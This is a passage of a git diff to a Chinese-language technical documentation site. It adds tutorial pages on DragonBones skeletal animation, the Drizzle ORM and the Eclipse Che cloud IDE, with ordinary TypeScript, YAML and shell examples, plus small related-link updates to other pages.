+factory.parseTextureAtlasData('hero_tex.json', 'hero_tex.png');
+
+// 第二个参数是 armature 名称，与编辑器里一致
+const armatureDisplay = factory.buildArmatureDisplay('Hero');
+
+armatureDisplay.animation.play('run', 0); // 0 = 无限循环
+armatureDisplay.x = 400;
+armatureDisplay.y = 500;
+
+app.stage.addChild(armatureDisplay);
+
+// 每帧推进骨骼时间（也可在 app.ticker 里调用）
+app.ticker.add((delta) => {
+  PixiFactory.advanceTime(delta / 60);
+});
+```
+
+要点：
+
+- **parse 只做一次**，多个角色可共用一个 Factory 缓存
+- `buildArmatureDisplay` 返回的是引擎 Display 对象，能直接 `addChild`
+- 别忘了 **advanceTime**，否则动画不会帧进
+
+## 示例二：事件监听与运行时改骨（换装思路）
+
+游戏逻辑常要在动画**播完切状态**、或在**攻击帧**生成子弹。DragonBones 通过事件派发（与引擎桥接后可能是 DOM / Cocos 事件）：
+
+```ts
+import { PixiFactory } from 'pixi-dragonbones-runtime';
+
+const factory = PixiFactory.factory;
+factory.parseDragonBonesData(skeData);
+factory.parseTextureAtlasData(texData, texImage);
+
+const display = factory.buildArmatureDisplay('Knight');
+display.animation.play('attack', 1); // 播一次
+
+// 事件名与 DragonBones 常量一致（具体以你所用 Runtime 导出为准）
+display.addDBEventListener('complete', () => {
+  display.animation.play('idle', 0);
+});
+
+display.addDBEventListener('frameEvent', (event) => {
+  if (event.name === 'hit') {
+    spawnDamageCollider();
+  }
+});
+
+// 运行时换武器：换 Slot 上的显示对象，而不是重做动画
+const armature = display.armature;
+const slot = armature.getSlot('weapon');
+if (slot) {
+  const newDisplay = factory.getTextureDisplay('sword_fire');
+  slot.setDisplay(newDisplay);
+}
+```
+
+这里体现骨骼动画的两项工程优势：
+
+1. **动画与逻辑解耦** — `frameEvent` 在编辑器时间轴上打点，程序只响应名字
+2. **换装不换骨** — 同一套 `attack` 动画，换 Slot 贴图即可换武器外观
+
+## C++ / Cocos2d-x 侧在做什么
+
+你指定的来源仓 [DragonBonesCPP](https://github.com/DragonBones/DragonBonesCPP) 把**同一套 DragonBones 公共库**接到 Cocos2d-x、SFML。流程与 JS 相同，只是 Factory 和 Display 换成 C++ 引擎节点。概念映射不变：
+
+| 概念 | JS (Pixi) | C++ (Cocos2d-x 集成) |
+|------|-----------|----------------------|
+| 工厂 | `PixiFactory.factory` | `dragonBones::CCFactory` 等 |
+| 显示对象 | `buildArmatureDisplay` | `CCArmatureDisplayNode` / 封装节点 |
+| 播动画 | `animation.play(name, times)` | `getAnimation()->play(...)` / `gotoAndPlay` |
+
+Cocos Creator 里则提供 **ArmatureDisplay** 组件：在属性检查器绑定 `DragonBonesAsset`，脚本里 `armatureDisplay.playAnimation('run', -1)`，并监听 `dragonBones.EventObject.COMPLETE` 等事件——本质仍是 Armature + Animation，只是编辑器帮你挂了资源引用。
+
+## 创作端工作流（零基础路线）
+
+1. **安装 LoongBones / DragonBones Pro**，导入 PSD 分层或单图
+2. 为部件 **绑定骨骼**，在时间轴上打关键帧（走路、待机、攻击）
+3. 需要时在时间轴加 **帧事件**（如 `footstep`、`hit`）
+4. **导出** JSON + 纹理图集，把三件套放进游戏 `assets/`
+5. 在目标引擎按 Runtime 文档 **parse → build → play → advanceTime**
+6. 用预览检查与游戏里是否一致（锚点、缩放、像素比）
+
+官方在线 Demo 合集：[DragonBones/Demos](https://github.com/DragonBones/Demos)。
+
+## 与 Spine、逐帧动画怎么选
+
+| 维度 | DragonBones | Spine | 逐帧精灵表 |
+|------|-------------|-------|------------|
+| 开源协议 | MIT Runtime | 编辑器收费、Runtime 需授权 | 无绑定 |
+| 国内资料 / Egret·Cocos 集成 | 强 | 中等 | 通用 |
+| 网格变形、IK | 支持 | 支持 | 不支持 |
+| 学习曲线 | 编辑器 + Runtime 两套 | 类似 | 最低 |
+| 适合 | 2D 手游角色、H5 小游戏 | 同上，国际项目多 | 特效、简单 NPC |
+
+若项目已用 **Phaser 3.12+**，可用 [DragonBonesJS/Phaser](https://github.com/DragonBones/DragonBonesJS/tree/master/Phaser) 适配层；注意社区 README 曾标注 mesh、包围盒等能力与 Phaser 版本相关，接入前先看对应分支说明。
+
+## 常见问题
+
+**动画不播放，画面停在第一帧**  
+多半是没调 `advanceTime`，或 `play` 的动画名与 JSON 里不一致（区分大小写）。
+
+**parse 多次导致内存涨**  
+同一 `ske` / `tex` 应只 parse 一次；换角色用多次 `buildArmatureDisplay`。
+
+**角色模糊或抖动**  
+检查图集是否开启多余缩放；PIXI 里注意 `resolution` 与纹理过滤；骨骼锚点是否在编辑器里对齐。
+
+**和 Spine 资源能否互导**  
+编辑器曾支持部分导入 Spine/Cocos 数据，但生产环境建议**选定一条管线**，不要混用运行时。
+
+**DragonBones Pro 与开源 Runtime 关系**  
+编辑器负责产出；Runtime 负责播放。Runtime MIT 开源，可商用；编辑器产品以官网许可为准。
+
+## 延伸学习
+
+- C++ Runtime：[DragonBones/DragonBonesCPP](https://github.com/DragonBones/DragonBonesCPP)
+- JS/TS Runtime：[DragonBones/DragonBonesJS](https://github.com/DragonBones/DragonBonesJS)
+- 官网与 LoongBones：[loongbones.app](http://www.loongbones.app/)
+- Pixi 现代集成：[pixi-dragonbones-runtime 文档](https://h1ve2.github.io/pixi-dragonbones-runtime/guide/)
+- 性能向 Demo：[dragonbones.github.io/demo](https://dragonbones.github.io/demo/)
+
+## 小结
+
+DragonBones 把 2D 角色动画从「逐帧画图」变成「骨骼驱动贴图」：美术在 LoongBones 里绑骨、打时间轴；程序用 **Factory 解析 JSON 与图集**，用 **Armature** 显示角色，用 **Animation.play** 切换动作，用 **Slot / Bone API** 做换装与物理挂点。作为**国产开源**骨骼方案，它与 Cocos、Egret、Pixi 等生态结合紧密；理解 Bone、Slot、Armature、Factory 四条概念，就能在任意语言 Runtime 里举一反三。
diff --git a/src/content/docs/projects/drizzle-orm.md b/src/content/docs/projects/drizzle-orm.md
new file mode 100644
index 000000000..296a2d9c1
--- /dev/null
+++ b/src/content/docs/projects/drizzle-orm.md
@@ -0,0 +1,360 @@
+---
+title: drizzle-orm
+来源: 'https://github.com/drizzle-team/drizzle-orm'
+日期: '2026-06-13'
+子分类: Web 后端
+分类: 后端 API
+难度: '中级'
+provenance: 'pipeline-v3'
+season: 6
+---
+
+## 日常类比：外卖平台的「菜单 + 查单 + 改店规」
+
+想象你经营一家外卖平台，后台要操作三张核心表：`users`（顾客）、`orders`（订单）、`order_items`（菜品明细）。
+
+真实世界里你会：
+
+- **先定菜单规格**——每道菜叫什么、多少钱、是否可售 → 对应 **schema 定义**
+- **再按条件查单**——「今天未完成的订单」「某用户最近 10 单」→ 对应 **查询构建**
+- **店铺升级要留档**——加一列「配送备注」、改价格字段类型 → 对应 **migration 迁移**
+
+**Drizzle ORM**（[drizzle-team/drizzle-orm](https://github.com/drizzle-team/drizzle-orm)）就是这套流程的 TypeScript 版调度员：你在普通 `.ts` 文件里描述表结构和查询意图，它翻译成**参数化 SQL**发给 PostgreSQL / MySQL / SQLite 等，并把返回行映射成带类型的对象。
+
+和 [[prisma]] 的「点菜按钮」不同，Drizzle 更像**自己写厨房工单**——`select().from(orders).where(eq(orders.status, 'pending'))` 读起来几乎就是 SQL。懂 SQL 的人上手快；不熟 SQL 的人会觉得 Prisma 的 JSON 式 API 更顺，这是审美差异，不是对错。
+
+---
+
+## 是什么
+
+Drizzle 是一套用 TypeScript 定义数据库表结构、用链式 API 拼 SQL、全程类型推导的轻量 ORM。特点可以压成三句：
+
+1. **无 codegen 客户端**——改 schema 后不用跑 `prisma generate`，类型从 TS 直接推断。
+2. **SQL 可见**——query builder 每一节链式调用对应 SQL 的一个子句，日志里看到什么就是什么。
+3. **体积小**——核心包 KB 级，适合 Cloudflare Workers、Vercel Edge、Bun 等对 bundle 和冷启动敏感的环境。
+
+配套 CLI **drizzle-kit** 负责 migration：`generate` 从 schema diff 出 SQL 文件，`migrate` 应用到库，`push` 适合本地原型快速对齐。
+
+---
+
+## 解决什么问题
+
+Node.js 访问数据库的长期痛点里，Drizzle 切的是「**TypeScript 全栈 + Serverless + 团队会 SQL**」这条缝：
+
+| 痛点 | Drizzle 的回应 |
+| --- | --- |
+| ORM 太重、冷启动慢、塞不进 Edge | 零原生二进制，Workers / Edge 可跑 |
+| Prisma 每次改 schema 要 `generate` | `$inferSelect` / `$inferInsert` 从 schema 直接推断 |
+| Raw SQL 无类型、列名拼错运行时才发现 | `users.email` 是类型化列引用，编译期报错 |
+| TypeORM 装饰器 + 隐式 SQL 难调试 | builder 与 SQL 子句 1:1 |
+| Knex 有 builder 但 schema 与类型脱节 | schema 即类型唯一真相源 |
+
+Drizzle **不替代** DBA 写复杂存储过程，也**不承诺**让完全不懂 SQL 的人无痛上手。2026 年语境里，Prisma 7 已用 TS/WASM 替换 Rust query engine，体积和冷启动差距在缩小——但 Drizzle 仍是无 codegen、SQL 一一对应的轻量选项；选型时「团队会不会 SQL」往往比 benchmark 差几十毫秒更决定性。
+
+---
+
+## 与 Prisma / TypeORM / Knex 的对比
+
+| 工具 | 哲学 | Schema 在哪 | Query 风格 |
+| --- | --- | --- | --- |
+| **Prisma** | Schema-first + 生成客户端 | `.prisma` DSL | `prisma.user.findMany({ include })` |
+| **Drizzle** | SQL-first + TS 推断 | TS `pgTable(...)` | `db.select().from(users).where(...)` |
+| **TypeORM** | 企业级 ORM | `@Entity` 装饰器类 | Repository / QueryBuilder |
+| **Knex** | 查询构建器（非完整 ORM） | 无内建 schema | `knex('users').where({ id: 1 })` |
+
+| 维度 | Prisma | Drizzle | TypeORM | Knex |
+| --- | --- | --- | --- | --- |
+| 类型安全 | 生成 Client，极强 | schema 推断，极强 | 装饰器，关系字段偏松 | 弱 |
+| Bundle / 冷启动 | Prisma 7：~1.6MB、80–150ms | ~5–7KB、50–100ms | ~80KB+，偏慢 | 轻量 |
+| Edge | 支持但体积仍大 | 原生友好 | 不支持 | 视 driver |
+| Migration | Prisma Migrate 最成熟 | drizzle-kit，快速迭代 | 内置 CLI | `knex migrate` |
+| 关系查询 | `include` 一行嵌套 | `db.query` + `with` 或手写 join | `relations` + find | 手写 join |
+| 学习曲线 | 低 | 中（最好会 SQL） | 中高 | 低（会 SQL 即可） |
+
+很多人把 Drizzle 看成「**有 schema 的 Knex**」：保留 builder 手感，同时让 `orders.status` 成为带类型的列对象。已有 Knex 迁移历史可渐进引入；`drizzle-kit pull` / `introspect` 还能从现有库反推 TS schema。
+
+---
+
+## 核心概念
+
+### 1. Schema 定义（表结构即 TypeScript）
+
+Schema 是**唯一真相源**：migration diff、查询返回类型、insert 约束都从它流出。
+
+```ts
+// src/db/schema.ts
+import { pgTable, serial, text, integer, timestamp } from 'drizzle-orm/pg-core'
+
+export const users = pgTable('users', {
+  id: serial('id').primaryKey(),
+  email: text('email').notNull().unique(),
+  name: text('name'),
+  createdAt: timestamp('created_at').defaultNow().notNull(),
+})
+
+export const orders = pgTable('orders', {
+  id: serial('id').primaryKey(),
+  userId: integer('user_id')
+    .notNull()
+    .references(() => users.id),
+  status: text('status').notNull().default('pending'),
+  totalCents: integer('total_cents').notNull(),
+  createdAt: timestamp('created_at').defaultNow().notNull(),
+})
+
+export const orderItems = pgTable('order_items', {
+  id: serial('id').primaryKey(),
+  orderId: integer('order_id')
+    .notNull()
+    .references(() => orders.id),
+  sku: text('sku').notNull(),
+  quantity: integer('quantity').notNull(),
+  unitPriceCents: integer('unit_price_cents').notNull(),
+})
+```
+
+要点：
+
+- `pgTable` / `mysqlTable` / `sqliteTable` 按方言选择，**没有**跨方言统一 `table` 抽象
+- `.notNull()` 把 TS 类型从 `string | null` 收窄为 `string`
+- `typeof users.$inferSelect` → 查询行类型；`$inferInsert` → 插入时可选/必填字段
+
+```ts
+type User = typeof users.$inferSelect
+// { id: number; email: string; name: string | null; createdAt: Date }
+
+type NewUser = typeof users.$inferInsert
+// { email: string; name?: string | null; id?: number; createdAt?: Date }
+```
+
+### 2. 查询构建（Query Builder）
+
+**SQL-like API**——链式调用对应 SQL 子句：
+
+```ts
+import { eq, and, desc } from 'drizzle-orm'
+import { drizzle } from 'drizzle-orm/node-postgres'
+import { users, orders } from './schema'
+
+const db = drizzle(pool)
+
+const recentPaid = await db
+  .select({
+    orderId: orders.id,
+    total: orders.totalCents,
+    email: users.email,
+  })
+  .from(orders)
+  .innerJoin(users, eq(orders.userId, users.id))
+  .where(and(eq(users.id, 42), eq(orders.status, 'paid')))
+  .orderBy(desc(orders.createdAt))
+  .limit(10)
+```
+
+背后流程：
+
+1. `eq(...)` 生成 AST，**参数化**绑定，防 SQL 注入
+2. `select({...})` 字面量推导返回类型
+3. `await` 时序列化为一条 SQL 执行
+
+**Relational Queries（RQB v2）**——类似 Prisma 的 `include`，用 `db.query` + `with`：
+
+```ts
+import { relations } from 'drizzle-orm'
+import { eq } from 'drizzle-orm'
+
+// relations 可集中定义（v2 推荐 defineRelations）
+export const ordersRelations = relations(orders, ({ one, many }) => ({
+  user: one(users, { fields: [orders.userId], references: [users.id] }),
+  items: many(orderItems),
+}))
+
+const db = drizzle(pool, { schema: { users, orders, orderItems, ordersRelations } })
+
+const userWithOrders = await db.query.users.findFirst({
+  where: { id: 42 },
+  with: {
+    orders: {
+      where: { status: 'pending' },
+      with: { items: true },
+      limit: 5,
+    },
+  },
+})
+```
+
+复杂报表、窗口函数仍建议 SQL-like builder；读多写少、嵌套关系可交给 RQB。
+
+### 3. Migration（drizzle-kit）
+
+运行时 **不** codegen 客户端；结构变更靠 **drizzle-kit**：
+
+```bash
+# 改 schema.ts 后生成 SQL 迁移
+npx drizzle-kit generate
+
+# 审查 drizzle/0001_xxx.sql 后应用
+npx drizzle-kit migrate
+
+# 本地原型快速对齐（生产慎用）
+npx drizzle-kit push
+```
+
+```ts
+// drizzle.config.ts
+import { defineConfig } from 'drizzle-kit'
+
+export default defineConfig({
+  dialect: 'postgresql',
+  schema: './src/db/schema.ts',
+  out: './drizzle',
+  dbCredentials: { url: process.env.DATABASE_URL! },
+})
+```
+
+官方文档列出多种 migration 策略：generate + migrate、generate + 运行时 `migrate()`、generate + 外部工具（Atlas）、仅 `push` 做本地迭代等。2026 年 drizzle-kit 在 beta 线持续加强 **commutativity check**（`drizzle-kit check`）和 migration 表版本化，多分支并行开发时 worth 关注。
+
+---
+
+## 实践案例
+
+### 案例 1：事务下单（insert + 明细）
+
+```ts
+import { Pool } from 'pg'
+import { drizzle } from 'drizzle-orm/node-postgres'
+import { orders, orderItems } from './schema'
+
+const pool = new Pool({ connectionString: process.env.DATABASE_URL })
+const db = drizzle(pool)
+
+async function placeOrder(
+  userId: number,
+  items: { sku: string; qty: number; priceCents: number }[],
+) {
+  const totalCents = items.reduce((sum, i) => sum + i.priceCents * i.qty, 0)
+
+  return db.transaction(async (tx) => {
+    const [order] = await tx
+      .insert(orders)
+      .values({ userId, status: 'pending', totalCents })
+      .returning()
+
+    await tx.insert(orderItems).values(
+      items.map((i) => ({
+        orderId: order.id,
+        sku: i.sku,
+        quantity: i.qty,
+        unitPriceCents: i.priceCents,
+      })),
+    )
+
+    return order
+  })
+}
+```
+
+`transaction` 保证「主单 + 明细」同事务提交——不能出现「有订单没菜品」的半成品单。
+
+### 案例 2：原始 SQL 逃生舱
+
+复杂报表（窗口函数、CTE）用 `sql` 模板仍保持参数化：
+
+```ts
+import { sql } from 'drizzle-orm'
+
+const topCustomers = await db.execute(sql`
+  SELECT u.id, u.email, COUNT(o.id)::int AS order_count
+  FROM users u
+  JOIN orders o ON o.user_id = u.id
+  WHERE o.created_at > NOW() - INTERVAL '30 days'
+  GROUP BY u.id, u.email
+  ORDER BY order_count DESC
+  LIMIT 10
+`)
+```
+
+Drizzle 的设计是 **80% CRUD 用 builder，20% 复杂 SQL 用 raw**，同一条类型化管道。
+
+---
+
+## 典型项目结构
+
+```
+src/
+  db/
+    schema.ts          # 表定义（可按域拆多文件）
+    index.ts           # drizzle(pool) 单例
+drizzle/
+  0000_init.sql        # kit generate 产出
+  meta/
+drizzle.config.ts
+```
+
+多文件 schema 时，`drizzle.config.ts` 的 `schema` 可指向目录，kit 递归收集所有 export 的表。
+
+---
+
+## 踩过的坑
+
+1. **Dialect import 不能混用**：`drizzle-orm/pg-core` 与 `mysql-core` 换库要换整套 table 定义。
+2. **RQB 要配 relations**：`db.query.*` 的 `with` 依赖 `relations()`；只写 `references()` 不够。
+3. **`push` 别上生产**：绕过迁移历史，只适合本地原型。
+4. **camelCase vs snake_case**：`drizzle({ casing: 'snake_case' })` 可统一 TS 字段名与库列名映射。
+5. **大 schema 编译变慢**：大量 `pgTable` + 复杂 relations 会让 `tsc` 变慢——按域拆文件。
+6. **driver import 路径**：`node-postgres`、`d1`、`neon-http` 等初始化不同，schema/query 代码可复用，连接层要对照文档。
+
+---
+
+## 适用 vs 不适用
+
+**适用**：
+
+- Next.js / Hono / Elysia 等 TS 后端，部署在 Node 或 Edge
+- 团队愿意看 SQL，需要 CTE、窗口函数、部分索引等 Postgres 特性
+- 不想在 CI 里跑 `prisma generate`
+- Serverless 对 bundle 和冷启动敏感
+
+**不适用**：
+
+- 团队几乎没人写过 SQL → [[prisma]] 更省心
+- 大型 TypeORM 单体、重度装饰器 → 迁移成本高于收益
+- 只要迁移脚本、应用层另有 ORM → [[knex]] 或纯 SQL 足够
+
+---
+
+## Season 6 上下文：数据层在长任务里的位置
+
+Season 6 聚焦 **数据 + 长任务 + 真实产品**。真实产品里数据库层通常要同时满足：
+
+- **类型安全**：API handler 与 background job 共用 schema 类型
+- **可迁移**：schema 变更可审查、可回滚
+- **可观测**：慢查询能对上代码里的 builder 链
+
+Drizzle 把 schema 留在普通 TS 文件中，使 **API 路由、Temporal worker、批处理脚本** 可以 `import { orders } from '@/db/schema'` 共享类型，不依赖生成物同步——对「长任务 + 多入口写库」的项目特别实用。
+
+---
+
+## 学到什么
+
+1. **ORM 不一定要 codegen**——TS 类型运算已能承担 schema → 行类型的桥梁。
+2. **SQL 可见性是团队选择**——遮 SQL 降低门槛；露 SQL 降低调试成本。
+3. **Knex 与 Drizzle 是上下游**——前者补迁移与 builder 经验，后者补 schema 与类型。
+4. **Edge 时代体积是功能**——不是「快一点」，而是「能不能部署」。
+
+---
+
+## 延伸阅读
+
+- 官方文档：[orm.drizzle.team](https://orm.drizzle.team/)
+- GitHub：[drizzle-team/drizzle-orm](https://github.com/drizzle-team/drizzle-orm)
+- Migrations 策略：[orm.drizzle.team/docs/migrations](https://orm.drizzle.team/docs/migrations)
+- Relational Queries v2：[orm.drizzle.team/docs/rqb-v2](https://orm.drizzle.team/docs/rqb-v2)
+
+## 关联
+
+- [[prisma]] —— DSL + 生成客户端的标杆 ORM
+- [[typeorm]] —— 装饰器 + Repository 传统企业 ORM
+- [[kysely]] —— 纯 query builder，无 schema 层
+- [[postgresql]] —— Drizzle 最常用的方言
+- [[nestjs]] —— 常与 Drizzle 组合的后端框架
diff --git a/src/content/docs/projects/dspy.md b/src/content/docs/projects/dspy.md
index 294a36d60..b233c2790 100644
--- a/src/content/docs/projects/dspy.md
+++ b/src/content/docs/projects/dspy.md
@@ -185,6 +185,7 @@ dspy.configure(lm=dspy.LM("anthropic/claude-sonnet-4-7"))
 
 - [[circuitpython]] —— CircuitPython — 插上 USB 就能写 Python 的微控制器运行时
 - [[hindley-milner]] —— Hindley-Milner — 编译器自己猜变量类型
+- [[jupyterlab]] —— JupyterLab — 下一代 Jupyter IDE
 - [[pytorch]] —— PyTorch — 深度学习主流框架
 - [[replug-2023]] —— REPLUG — 不动 LLM 一根毛，只把检索器调到它的"口味"上
 - [[self-refine-2023]] —— Self-Refine — 让同一个模型自己改自己写的东西
diff --git a/src/content/docs/projects/duckdb.md b/src/content/docs/projects/duckdb.md
index 26af2b549..51aae0813 100644
--- a/src/content/docs/projects/duckdb.md
+++ b/src/content/docs/projects/duckdb.md
@@ -154,9 +154,12 @@ result = con.execute("""
 - [[dbt-core]] —— dbt-core — 把 SQL 当工程代码写，让数据仓库里的转换跑起来
 - [[duckdb-wasm]] —— duckdb-wasm — 把分析数据库塞进浏览器标签页
 - [[evidence]] —— Evidence — 把 Markdown + SQL 编译成静态报告站
+- [[jupyter-notebook]] —— Jupyter Notebook — 经典数据科学笔记本
+- [[jupyterlab]] —— JupyterLab — 下一代 Jupyter IDE
 - [[kuzu]] —— Kùzu — 把图数据库做成 DuckDB
 - [[lance]] —— Lance — AI 数据列存格式
 - [[lightdash]] —— Lightdash — 寄生在 dbt 项目里的开源 BI
+- [[marimo]] —— marimo — 反应式 Python 笔记本
 - [[observable-framework]] —— Observable Framework — 编译期跑数据，浏览器只看结果
 - [[postgresql]] —— PostgreSQL — 工业级关系数据库
 - [[pyarrow]] —— PyArrow — 让所有数据系统共用一块内存
diff --git a/src/content/docs/projects/eclipse-che.md b/src/content/docs/projects/eclipse-che.md
new file mode 100644
index 000000000..3e93e7267
--- /dev/null
+++ b/src/content/docs/projects/eclipse-che.md
@@ -0,0 +1,312 @@
+---
+title: Eclipse Che — Kubernetes 原生云 IDE
+来源: https://github.com/eclipse/che
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：Kubernetes 上的「标准化研发车间」
+
+想象一家汽车厂。每个工程师不再自带工具箱、焊枪和测试台——**车间管理员**在流水线上预先划好工位：A 区装 Node 18 + PostgreSQL，B 区装 Go 1.22 + Redis，每个工位还配一块带语言服务、调试器和终端的**操作屏**（浏览器 IDE）。工程师刷卡进门，选「今天做哪个项目」，Kubernetes 就按图纸（Devfile）在集群里拉起一个隔离 Pod；下班点「停止」，资源回收；明天同一套图纸再开，环境一模一样。
+
+**Eclipse Che 就是这个「车间调度系统 + 操作屏」的组合**，只不过车间跑在你自己的 Kubernetes 或 OpenShift 上，而不是某家 SaaS 的黑盒里。官方定义：**Kubernetes-native IDE and developer collaboration platform**——工作区不是「远程桌面里的一台 VM」，而是**声明式、可版本化的容器化开发环境**，IDE 本身也被当作工作区依赖一起打包进 Pod。
+
+项目地址：[eclipse/che](https://github.com/eclipse/che)，Eclipse Public License 2.0 开源。文档站：[eclipse.dev/che](https://eclipse.dev/che/docs/stable/overview/introduction-to-eclipse-che/)。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：「在我机器上能跑」
+
+本地 Node 版本、系统库、Docker 权限各不相同，新人 onboarding 常卡在环境对齐。Che 把**可复现环境**写进 **Devfile**（或仓库里的 `devfile.yaml`），所有人从同一份声明出发；工作区在 K8s Pod 里运行，差异只剩「你选 standard 还是 large 规格」。
+
+### 痛点 2：IDE 与运行时割裂
+
+传统模型：代码在仓库里，IDE 装在本机，运行时靠 `docker compose up` 临时凑。Che 的 **Workspace 模型**把「项目源码 + 构建/运行依赖 + IDE + 插件」视为**一个整体**——IDE 不是外挂工具，而是工作区 Pod 里的容器之一。这样可以在 dev 模式里叠加 Language Server、Debug Adapter，同时复刻生产侧的微服务拓扑。
+
+### 痛点 3：远程开发 SaaS 的数据与合规
+
+[[gitpod]]、GitHub Codespaces 等产品体验好，但计费、数据驻留、审计策略不一定满足金融、政务、内网场景。Che **自托管**在自有集群：OIDC（Dex / OpenShift OAuth）、RBAC、Prometheus/Grafana 监控都可按企业标准接入。
+
+### 痛点 4：平台团队需要 K8s 原生治理
+
+Che 不是「又一套 PaaS」，而是 **Custom Resource + Operator** 模式：`CheCluster` 描述平台，`DevWorkspace` 描述每个开发者工作区，**DevWorkspace Operator（DWO）** 负责 reconcile。平台工程师用熟悉的 `kubectl`、GitOps、Helm 运维，而不是单独学一套私有 API。
+
+---
+
+## 核心概念拆解
+
+理解 Che 时，先把下面几个 Kubernetes 层面的名词分清——它们会出现在 Dashboard、YAML 和运维手册里。
+
+### 1. CheCluster — 平台总开关
+
+**CheCluster** 是 Che 在集群里的「安装说明书」Custom Resource（CR）。Eclipse Che Operator 读取 `CheCluster` spec，生成各组件的 ConfigMap、Deployment、Route/Ingress 等。常见配置块包括：
+
+| 区块 | 作用 |
+|------|------|
+| `components.cheServer` | Che Server（API + 编排） |
+| `components.dashboard` | 用户仪表盘，创建工作区入口 |
+| `components.devWorkspace` | 与 DWO 的集成方式 |
+| `components.devfileRegistry` | 内置/外置 Devfile 模板库 |
+| `components.pluginRegistry` | IDE 插件（兼容 VS Code 扩展体系）注册表 |
+| `devEnvironments` | 默认编辑器、工作区存储、超时策略 |
+| `networking` | 域名、TLS、OAuth 客户端 |
+
+改 `CheCluster` 等价于改整个 Che 实例的行为；Operator 会滚动重启受影响的 Pod。
+
+### 2. DevWorkspace — 工作区的 K8s 身份证
+
+用户在 Dashboard 点「Start workspace」时，Che 在后台创建 **DevWorkspace** CR——它是工作区在集群里的**权威表示**。每个 Che 工作区对应一个 DevWorkspace；DWO 读取该 CR，创建 Deployment、Service、Secret、ConfigMap、PVC，最终得到一个（或多个）运行 IDE 与工具链的 **Pod**。
+
+DevWorkspace 还关联 **DevWorkspaceRouting**，定义工作区对外暴露的 endpoint（编辑器 URL、应用预览端口等）。
+
+### 3. DevWorkspace Operator（DWO）— 车间主任
+
+**DWO** 是 Che 的核心依赖，负责 **reconcile DevWorkspace**。你可以把它理解为：把 Devfile + 编辑器定义翻译成「能跑的 Pod 清单」的控制器。Che 还会在 Che 命名空间维护 Che 专用的 **DevWorkspaceOperatorConfiguration（DWOC）**，通过 `controller.devfile.io/devworkspace-config` 属性挂到每个工作区。
+
+没有 DWO，DevWorkspace CR 只是 YAML 装饰；有了 DWO，才是可启动的浏览器 IDE。
+
+### 4. Devfile — 开发者环境即代码
+
+**Devfile** 是 CNCF 生态里的开放标准（[devfile.io](https://devfile.io)），Che 用它声明：
+
+- **components**：容器镜像、Kubernetes 组件、Volume
+- **projects**：Git 仓库克隆来源
+- **commands**：构建、测试、运行脚本
+- **events**：`postStart` 等生命周期钩子
+
+Devfile v2 与 OCI 打包、Registry 分发兼容；Che 的 Devfile Registry 提供官方 Stack（Node、Java、Python 等）模板，团队也可自建 Registry 固化内部标准栈。
+
+### 5. Che Server + Dashboard — 前台与 API
+
+**Che Server** 处理多用户认证、权限、工作区 CRUD、与 Git 提供方集成。**Dashboard** 是浏览器里的控制面：选 Devfile、选编辑器（默认基于 [[theia]] / Open VS Code 体系）、启停工作区。开发者日常交互大多在 Dashboard + 内嵌 IDE 完成，不必直接编辑 DevWorkspace YAML。
+
+### 6. 编辑器与插件 — 可替换的操作屏
+
+Che 7+ 默认提供 **Eclipse Theia** 或 **code-editor**（Open VS Code 衍生）类编辑器，通过 **Plugin Registry** 加载语言扩展。插件机制与 **VS Code 扩展**兼容度较高（Language Server Protocol、Debug Adapter Protocol 是一等公民）。企业也可以配置「自带 IDE」——只要能在容器里跑、能通过 endpoint 暴露即可。
+
+### 7. Factory — 一键复制工作区（历史概念仍常见）
+
+早期 Che 强调 **Factory**：把 Devfile + 项目 URL 编码成链接，分享给队友「一点即开」同款环境。现代流程更多直接用 Devfile Registry + Dashboard，但「可分享、可复现」的思想与 Factory 一致——类似 [[gitpod]] 的 `#https://github.com/...` 深链。
+
+---
+
+## 架构一图流
+
+Che 官方架构可概括为三层协作（详见 [Architecture overview](https://eclipse.dev/che/docs/stable/administration-guide/architecture-overview/)）：
+
+```text
+┌─────────────────────────────────────────────────────────────┐
+│  Che Server 组件（Dashboard、Che Server、Registry…）         │
+│  用户在这里创建/管理工作区                                    │
+└──────────────────────────┬──────────────────────────────────┘
+                           │ 创建 DevWorkspace CR
+                           ▼
+┌─────────────────────────────────────────────────────────────┐
+│  DevWorkspace Operator                                      │
+│  reconcile → Deployment / Service / PVC / Routing         │
+└──────────────────────────┬──────────────────────────────────┘
+                           │
+                           ▼
+┌─────────────────────────────────────────────────────────────┐
+│  User Workspace Pod（IDE 容器 + 工具容器 + 可选 sidecar）    │
+│  隔离命名空间，RBAC 控制，监控可接 Prometheus                │
+└─────────────────────────────────────────────────────────────┘
+```
+
+与 [[coder]] 对比：Coder 用 **Terraform Template + coderd** 在 VM/K8s/Docker 上发「工位」；Che 用 **Devfile + DevWorkspace CR + DWO** 在 **纯 Kubernetes** 上发「Pod 型工位」，IDE 内嵌更深，K8s 原生味更浓。与 [[gitpod]] 对比：Gitpod 强调 **Prebuild** 与 `.gitpod.yml` SaaS 体验；Che 强调 **自托管、Operator、Devfile 标准**，预构建需自行在 CI 或 Registry 层设计。
+
+---
+
+## 代码示例 1：仓库根目录的 `devfile.yaml`
+
+下面是一个最小可用的 Devfile v2.2 示例：一个 `tools` 容器（带 Node），克隆 Git 项目，并在 `postStart` 里安装依赖。Che 创建工作区时会把它合并进 DevWorkspace spec。
+
+```yaml
+schemaVersion: 2.2.0
+metadata:
+  name: node-react-dev
+  version: 1.0.0
+  displayName: Node.js React 开发栈
+components:
+  - name: tools
+    container:
+      image: quay.io/devfile/universal-developer-image:ubi8-latest
+      memoryLimit: 1Gi
+      mountSources: true
+      endpoints:
+        - name: web-preview
+          targetPort: 3000
+          exposure: public
+          secure: false
+          protocol: http
+  - name: projects-root
+    volume:
+      size: 10Gi
+projects:
+  - name: my-app
+    git:
+      remotes:
+        origin: https://github.com/example/my-react-app.git
+      checkoutFrom:
+        remote: origin
+        revision: main
+commands:
+  - id: install-deps
+    exec:
+      component: tools
+      commandLine: "cd ${PROJECTS_ROOT}/my-app && npm ci"
+      workingDir: ${PROJECTS_ROOT}/my-app
+events:
+  postStart:
+    - install-deps
+```
+
+要点说明：
+
+- `components[].container.endpoints` 定义预览 URL，DWO 会写入 **DevWorkspaceRouting**。
+- `projects` 段让 Che 在启动时自动 `git clone`。
+- `commands` + `events.postStart` 实现「工作区起来就装依赖」，类似 Gitpod 的 `init`，但语法是 Devfile 标准，可跨 Che、OpenShift Dev Spaces 等实现复用。
+
+---
+
